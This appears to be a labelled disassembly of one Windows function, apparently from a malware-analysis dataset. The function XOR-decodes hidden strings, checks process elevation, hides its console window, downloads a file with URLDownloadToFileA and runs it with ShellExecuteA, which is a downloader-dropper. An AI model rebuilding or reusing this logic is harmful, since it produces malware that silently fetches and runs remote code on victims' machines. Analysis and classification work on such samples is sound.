Function at 0x401170
Capabilities:
Check if file exists
Create process on windows
Download url
Encode data using xor
Get file attributes
Hide graphical window
Receive data
Set console window title

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
mov ax, word [0x403258]
xor edx, edx
movq xmm0, qword [str.v_fkoPT_SJM_]
mov word [ebp - 0x34], ax
mov al, byte [0x40325a]
push esi
push edi
movq qword [ebp - 0x3c], xmm0
mov byte [ebp - 0x32], al
mov dword [ebp - 0x10], edx
nop dword [eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x10]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x3c], cl
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xb
jl 0x4011c0
mov eax, dword [0x403298]
xor edx, edx
movq xmm0, qword [str.gSSMJNeiMZ4_0C]
mov esi, dword [0x4053ec]
mov dword [ebp - 0x28], eax
mov ax, word [0x40329c]
lea ecx, [edx + 0x1f]
mov word [ebp - 0x24], ax
mov al, byte [0x40329e]
mov byte [ebp - 0x22], al
lea eax, [edx + 4]
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x10], edx
cmp esi, 2
jl 0x401320
movaps xmm2, xmmword [0x4032a0]
mov edx, 8
movaps xmm3, xmmword [0x4032f0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
movd xmm4, eax
psrad xmm1, xmm4
movd xmm5, ecx
movaps xmm0, xmm1
mov dword [ebp - 0x10], edx
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4032c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4032b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
movd xmm0, dword [str.gSSMJNeiMZ4_0C]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555O]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x30], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4032c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
movd xmm0, dword [ebp - 0x2c]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555O]
xorps xmm1, xmm0
movd dword [ebp - 0x2c], xmm1
nop
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xf
jl 0x401320
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea eax, [ebp - 0x30]
push eax
call edi
lea eax, [ebp - 0x10]
mov byte [ebp - 0x11], 0
push eax
push 8
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4013a4
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push 0x14
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x4013a4
cmp dword [ebp - 0xc], 0
setne byte [ebp - 0x11]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4013b2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x11], 0
je 0x401a7d
mov eax, dword [0x403298]
xor edx, edx
movq xmm0, qword [str.gSSMJNeiMZ4_0C]
mov dword [ebp - 0x28], eax
mov ax, word [0x40329c]
mov word [ebp - 0x24], ax
mov al, byte [0x40329e]
movq qword [ebp - 0x30], xmm0
mov byte [ebp - 0x22], al
mov dword [ebp - 0x10], edx
cmp esi, 2
jl 0x4014f6
movaps xmm2, xmmword [0x4032a0]
mov eax, 4
movaps xmm4, xmmword [0x4032f0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x10], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.5555555555555555O]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4032c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4032b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.gSSMJNeiMZ4_0C]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x30], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4032c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2c]
xorps xmm1, xmm0
movd dword [ebp - 0x2c], xmm1
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xf
jl 0x4014f6
lea eax, [ebp - 0x30]
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401a7d
test al, 0x10
je 0x401a7d
movups xmm0, xmmword [str.v_fkoPT_SJMc]
mov ax, word [0x40324c]
mov word [ebp - 0x40], ax
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [0x403244]
movq qword [ebp - 0x48], xmm0
test ah, ah
je 0x4016ee
xor edx, edx
mov dword [ebp - 0x10], edx
cmp esi, 2
jl 0x4016c0
movaps xmm0, xmmword [str.5555555555555555O]
mov eax, 4
movaps xmm4, xmmword [0x4032a0]
movaps xmm3, xmmword [0x4032f0]
movaps xmm6, xmmword [0x4032c0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x58]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x58], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x54]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x54], xmm1
add edx, 8
cmp edx, 0x18
jl 0x4015c3
mov dword [ebp - 0x10], edx
cmp edx, 0x1a
jge 0x4016ee
nop
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x58], cl
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x1a
jl 0x4016c0
movups xmm0, xmmword [str._BCHJ]
mov eax, dword [0x403284]
xor edx, edx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x10], edx
movups xmmword [ebp - 0xa0], xmm0
movups xmm0, xmmword [0x40326c]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [0x40327c]
movq qword [ebp - 0x80], xmm0
cmp esi, 2
jl 0x401870
movaps xmm0, xmmword [str.5555555555555555O]
mov eax, 4
movaps xmm4, xmmword [0x4032a0]
movaps xmm3, xmmword [0x4032f0]
movaps xmm6, xmmword [0x4032c0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xa0]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0xa0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x9c]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x9c], xmm1
add edx, 8
cmp edx, 0x28
jl 0x401762
mov dword [ebp - 0x10], edx
cmp edx, 0x2c
jge 0x4018a1
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0xa0], cl
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x2c
jl 0x401870
push 0
push 0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x401a7d
movups xmm0, xmmword [str.v_fkoPT_SJMc]
mov ax, word [0x40324c]
mov word [ebp - 0x5c], ax
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [0x403244]
movq qword [ebp - 0x64], xmm0
test ah, ah
je 0x401a5e
xor edx, edx
mov dword [ebp - 0x10], edx
cmp esi, 2
jl 0x401a30
movaps xmm0, xmmword [str.5555555555555555O]
mov eax, 4
movaps xmm4, xmmword [0x4032a0]
movaps xmm3, xmmword [0x4032f0]
movaps xmm6, xmmword [0x4032c0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x74]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x74], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x4032d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x70]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x70], xmm1
add edx, 8
cmp edx, 0x18
jl 0x401930
mov dword [ebp - 0x10], edx
cmp edx, 0x1a
jge 0x401a5e
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x74], cl
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x1a
jl 0x401a30
push 1
push 0
push 0
lea eax, [ebp - 0x74]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x401ab3
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401aa9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401aa9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401e89
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00401e4b
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret